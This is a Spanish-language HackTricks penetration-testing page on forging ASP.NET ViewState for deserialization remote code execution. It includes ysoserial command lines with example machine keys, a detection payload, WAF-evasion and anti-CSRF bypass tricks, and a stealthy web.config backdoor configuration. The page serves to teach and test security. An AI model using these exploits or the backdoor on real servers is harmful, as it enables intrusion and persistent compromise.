hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

22 KiB

Introducción

Las aplicaciones web ASP.NET utilizan ViewState para mantener el estado de una página y persistir datos en un formulario web.

Normalmente es posible ejecutar código en un servidor web donde se puede forjar un ViewState válido. Esto se puede hacer cuando la función de validación MAC ha sido desactivada o conociendo:

  • La clave de validación y su algoritmo previo a la versión de .NET Framework 4.5
  • La clave de validación, algoritmo de validación, clave de descifrado y algoritmo de descifrado en .NET Framework versión 4.5 o superior

Para evitar ataques de manipulación, .NET Framework puede firmar y cifrar el ViewState que ha sido serializado utilizando la clase LosFormatter. Luego verifica la firma utilizando el mecanismo de validación de código de autenticación de mensajes (MAC). La clase ObjectStateFormatter realiza las tareas de firma, cifrado y verificación. Las claves necesarias para realizar el mecanismo de firma y/o cifrado se pueden almacenar en la sección machineKey del archivo web.config (nivel de aplicación) o machine.config (nivel de máquina). Esto es normalmente el caso cuando se utilizan múltiples servidores web para servir la misma aplicación, a menudo detrás de un balanceador de carga en una granja web o clúster. Lo siguiente muestra el formato de la sección machineKey en un archivo de configuración de una aplicación ASP.NET que utiliza la versión 2.0 o superior de .NET Framework:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

Es importante tener en cuenta que cuando no se ha definido una sección machineKey dentro de los archivos de configuración o cuando los atributos validationKey y decryptionKey se han establecido en AutoGenerate, la aplicación genera los valores necesarios dinámicamente en función de un secreto criptográficamente aleatorio. Los algoritmos también pueden ser seleccionados automáticamente. Actualmente, en la última versión de .NET Framework, el algoritmo de validación predeterminado es HMACSHA256 y el algoritmo de descifrado predeterminado es AES. Consulte [13] para obtener más detalles.

RCE con validación de MAC ViewState deshabilitada

En el pasado, era posible deshabilitar la validación de MAC simplemente estableciendo la propiedad enableViewStateMac en False. Microsoft lanzó un parche en septiembre de 2014 [3] para hacer cumplir la validación de MAC ignorando esta propiedad en todas las versiones de .NET Framework. Aunque algunos de nosotros podríamos creer que "ya no se puede deshabilitar el MAC ViewState" [4], todavía es posible deshabilitar la función de validación de MAC estableciendo la clave del registro AspNetEnforceViewStateMac en cero en:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Alternativamente, agregar la siguiente configuración peligrosa al archivo web.config a nivel de aplicación también puede deshabilitar la validación MAC:

<configuration>
…
    <appSettings>
      <add key="aspnet:AllowInsecureDeserialization" value="true" />
    </appSettings>
</configuration>

{% hint style="danger" %} Cuando se ha deshabilitado la validación MAC de ViewState, se puede utilizar el proyecto YSoSerial.Net para generar cargas útiles de LosFormatter como ViewState para ejecutar código arbitrario en el servidor. {% endhint %}

Antes de la versión del Framework .NET 4.5, el parámetro __VIEWSTATE podía ser encriptado mientras la función de validación MAC estaba deshabilitada. Se debe tener en cuenta que la mayoría de los escáneres no intentan enviar un parámetro ViewState sin encriptar para identificar esta vulnerabilidad. Como resultado, se requiere una prueba manual para verificar si la validación MAC está deshabilitada cuando el parámetro __VIEWSTATE ha sido encriptado. Esto se puede comprobar enviando una cadena aleatoria corta en base64 en el parámetro __VIEWSTATE. La siguiente URL muestra un ejemplo:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

Si la página objetivo responde con un error, la función de validación MAC ha sido deshabilitada de lo contrario habría suprimido el mensaje de error de validación MAC. Sin embargo, en escenarios donde no se puede ver el mensaje de error, este truco no funcionará.

Los escáneres automatizados deben usar una carga útil que cause un breve retraso en el lado del servidor. Esto se puede lograr ejecutando el siguiente código ASP.NET como ejemplo para crear un retraso de 10 segundos:

System.Threading.Thread.Sleep(10000);
string xaml_payload = @"<ResourceDictionary
  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
  xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib""
  xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
     <ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
     <ObjectDataProvider.MethodParameters>
        <System:Int32>10000</System:Int32>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";

RCE con validación de MAC de ViewState habilitada

En versiones antiguas (anteriores a 4.5), el Framework .NET utiliza la propiedad TemplateSourceDirectory [15] al firmar un objeto serializado. Sin embargo, desde la versión 4.5, utiliza las cadenas de Purpose para crear el hash. Ambos mecanismos requieren la ruta de destino desde la raíz del directorio de la aplicación y el nombre de la página. Estos parámetros se pueden extraer de la URL.

Las aplicaciones que utilizan un framework antiguo y hacen cumplir la encriptación de ViewState aún pueden aceptar un ViewState firmado sin encriptación. Esto significa que conocer la clave de validación y su algoritmo es suficiente para explotar un sitio web. Parece que ViewState está encriptado por defecto desde la versión 4.5 incluso cuando la propiedad viewStateEncryptionMode se ha establecido en Never. Esto significa que en las últimas versiones del Framework .NET también se requiere la clave de descifrado y su algoritmo para crear una carga útil.

El ViewState de ASP.NET contiene una propiedad llamada ViewStateUserKey [16] que se puede utilizar para mitigar los riesgos de ataques de falsificación de solicitudes entre sitios (CSRF) [4]. El valor de la propiedad ViewStateUserKey (cuando no es null) también se utiliza durante el proceso de firma de ViewState. Aunque no conocer el valor de este parámetro puede detener nuestro ataque, su valor a menudo se puede encontrar en las cookies o en un parámetro de entrada oculto ([17] muestra un ejemplo implementado).

Plugins ViewState YSoSerial.Net

En YSoSerial.Net master y YSoSerial.Netv2 se puede encontrar un plugin (este y este) para explotar esta técnica cuando se conoce toda la información.

Para .NET Framework >= 4.5:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Para .NET Framework <= 4.0 (legado):

La decryptionKey y su algoritmo no son necesarios aquí:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

Además de utilizar diferentes gadgets, es posible utilizar el parámetro __VIEWSTATEGENERATOR en lugar de proporcionar las rutas:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Por defecto, utiliza el gadget ActivitySurrogateSelector que requiere compilar la clase ExploitClass.cs en el proyecto YSoSerial.Net. El payload de ViewState también puede estar encriptado para evitar los WAFs cuando se conoce el valor de decryptionKey:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

{% hint style="info" %} Nota: Debido a la naturaleza de los gadgets utilizados en YSoSerial.Net, la página ASP.NET objetivo siempre responde con un error incluso cuando se ha ejecutado con éxito un exploit en el lado del servidor. {% endhint %}

Ruta de la aplicación

Es importante encontrar la raíz de la ruta de la aplicación para crear un ViewState válido a menos que:

  • La aplicación use la versión 4.0 o inferior del Framework .NET; y
  • Se conozca el parámetro __VIEWSTATEGENERATOR.

La siguiente captura de pantalla muestra el árbol de rutas en IIS:

Puede consultar [20] si no está familiarizado con los términos de directorio virtual y aplicación en IIS.

Para generar un ViewState para la URL anterior, los argumentos --path y --apppath deben ser los siguientes:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/ 

Si no sabemos que "app2" es el nombre de una aplicación, podemos usar prueba y error para probar todos los nombres de directorios en la URL uno por uno hasta encontrar un ViewState que pueda ejecutar código en el servidor (tal vez obteniendo una solicitud DNS o causando un retraso).

Generador

En este caso, se puede usar el argumento --generator. El argumento --isdebug se puede usar para verificar si el complemento también calcula el mismo parámetro __VIEWSTATEGENERATOR cuando se han proporcionado los argumentos --path y --apppath.

Explotando versiones antiguas

No se identificó ningún gadget para explotar .NET Framework v1.1 en el momento de escribir esta publicación de blog.

Para explotar aplicaciones que usan .NET Framework v4.0 o inferior, se puede usar la rama YSoSerial.Net v2.0 [21] (esto se desarrolló originalmente como parte de otra investigación [22]). Sin embargo, este proyecto solo admite un número limitado de gadgets y también requiere que la máquina objetivo tenga instalado .NET Framework 3.5 o superior.

Otras herramientas

Parece que Immunity Canvas admite la creación del parámetro ViewState cuando se conocen las claves de validación y cifrado [29]. Las siguientes herramientas también se lanzaron coincidentemente en el mismo momento en que estaba a punto de publicar mi trabajo, lo cual fue bastante sorprendente:

Creo que estas herramientas actualmente no diferencian entre diferentes versiones de .NET Framework y apuntan a la criptografía heredada. Además, no utilizan el parámetro ViewStateUserKey que podría estar en uso para detener los ataques CSRF.

Consejos adicionales

Usando solicitudes GET

También es posible enviar el parámetro __VIEWSTATE en la URL a través de una solicitud GET. El único factor limitante es la longitud de la URL que limita el tipo de gadgets que se pueden usar aquí.

Cifrado en .NET Framework anterior a la versión 4.5

Como se mencionó anteriormente, el parámetro __VIEWSTATE no necesita estar cifrado al explotar .NET Framework 4.0 y versiones anteriores (probado en v2.0 a través de v4.0) incluso cuando se ha establecido la propiedad ViewStateEncryptionMode en Always. ASP.NET decide si el ViewState ha sido cifrado o no al encontrar el parámetro __VIEWSTATEENCRYPTED en la solicitud (no necesita tener ningún valor). Por lo tanto, es posible enviar un ViewState sin cifrar eliminando el parámetro __VIEWSTATEENCRYPTED de la solicitud.

Esto también significa que cambiar la clave de descifrado o su algoritmo no puede detener los ataques cuando se ha robado la clave de validación y su algoritmo.

El parámetro __VIEWSTATE se puede cifrar para evitar cualquier WAF.

Burlando el mecanismo anti-CSRF (anti-XSRF)

Una página ASP.NET produce un error cuando se utiliza un parámetro __VIEWSTATE no válido. Sin embargo, la página aún puede recibir sus entradas cuando se usa Request.Form directamente en el código, por ejemplo, usando Request.Form["txtMyInput"] en lugar de txtMyInput.Text. El ataque CSRF se puede lograr eliminando el parámetro __VIEWSTATE de la solicitud o agregando el parámetro __PREVIOUSPAGE con un valor no válido. Como el parámetro __PREVIOUSPAGE se cifra y se formatea en base64 de forma predeterminada, incluso proporcionar un solo carácter como su valor debería causar un error.

Esto podría resultar en la omisión del mecanismo de protección anti-CSRF que se ha implementado estableciendo el parámetro Page.ViewStateUserKey.

Uso del parámetro ViewStateGenerator

Cuando se conoce el parámetro __VIEWSTATEGENERATOR, se puede usar para las aplicaciones ASP.NET que usan la versión 4.0 o inferior de .NET Framework para firmar un objeto serializado sin conocer la ruta de la aplicación.

Fragmentación de ViewState para burlar WAFs

Es posible dividir el parámetro __VIEWSTATE en varias partes cuando se ha establecido la propiedad MaxPageStateFieldLength en un valor positivo. Su valor predeterminado es negativo y significa que el parámetro __VIEWSTATE no se puede dividir en varias partes.

Esto podría ser útil para burlar algunos WAFs cuando se permite la fragmentación de ViewState.

Explotando el parámetro EventValidation

El parámetro __EVENTVALIDATION y algunos otros parámetros también se serializan de manera similar al parámetro __VIEWSTATE y se pueden dirigir de manera similar. Explotar un problema de deserialización a través de __EVENTVALIDATION es más restrictivo y requiere:

  • Una solicitud POST
  • Una página ASP.NET que acepte parámetros de entrada
  • Un nombre de parámetro de entrada válido. Por ejemplo, el parámetro myinput en la solicitud POST cuando tenemos el siguiente código en el lado del servidor:
<asp:TextBox runat="server" ID="myinput" />

El valor del parámetro __VIEWSTATE puede estar vacío en la solicitud al explotar el parámetro __EVENTVALIDATION, pero debe existir.

La cadena Purpose que utiliza .NET Framework 4.5 y superior para crear una firma válida es diferente según el parámetro utilizado. La siguiente tabla muestra las cadenas Purpose definidas en .NET Framework:

Parámetro de entrada Cadena Purpose
“__VIEWSTATE” WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION” WebForms.ClientScriptManager.EventValidation
P2 en P1|P2 en “__dv” + ClientID + “__hidden” WebForms.DetailsView.KeyTable
P4 en P1|P2|P3|P4 en “__CALLBACKPARAM” WebForms.DetailsView.KeyTable
P3 en P1|P2|P3|P4 en “__gv” + ClientID + “__hidden” WebForms.GridView.SortExpression
P4 en P1|P2|P3|P4 en “__gv” + ClientID + “__hidden” WebForms.GridView.DataKeys

La tabla anterior muestra todos los parámetros de entrada que podrían ser objetivo.

Cuidado con el parámetro PreviousPage

Cuando el parámetro __PREVIOUSPAGE existe en la solicitud con datos inválidos, la aplicación no deserializa el parámetro __VIEWSTATE. Proporcionar el parámetro __CALLBACKID evita este comportamiento.

Fiabilidad de errores

Como se explicó anteriormente, a veces usamos errores para comprobar si un ViewState generado es válido. ASP.NET no muestra el error de validación MAC por defecto cuando se utiliza un parámetro __VIEWSTATEGENERATOR inválido. Este comportamiento cambia cuando se utiliza la propiedad ViewStateUserKey, ya que ASP.NET ya no suprime los errores de validación MAC.

Además de esto, las aplicaciones web de ASP.NET pueden ignorar los errores de validación MAC con la siguiente configuración incluso cuando se utiliza la propiedad ViewStateUserKey:

<appSettings>
      <add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

Web.config como puerta trasera

Si los atacantes pueden cambiar el archivo web.config en la raíz de una aplicación, pueden ejecutar código fácilmente en el servidor. Sin embargo, incrustar una puerta trasera sigilosa en la aplicación podría ser una buena opción para un atacante. Esto se puede hacer desactivando la validación MAC y estableciendo la propiedad viewStateEncryptionMode en Always. Esto significa que todas las páginas ASP.NET que no establezcan la propiedad ViewStateEncryptionMode en Auto o Never siempre usan parámetros de ViewState cifrados. Sin embargo, como ViewState no utiliza la función de validación MAC, ahora son vulnerables a la ejecución remota de código a través de la deserialización de datos no confiables. Lo siguiente muestra un ejemplo:

<configuration>
…
    <system.web>
…
        <pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
    </system.web>
    <appSettings>
        <add key="aspnet:AllowInsecureDeserialization" value="false" />
    </appSettings>
</configuration>

¡Otra opción para un sitio web independiente sería establecer la sección machineKey con claves y algoritmos arbitrarios para detener a otros atacantes!

Cabe señalar que establecer la propiedad EnableViewState en False no detiene este ataque ya que el ViewState seguirá siendo analizado por ASP.NET.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥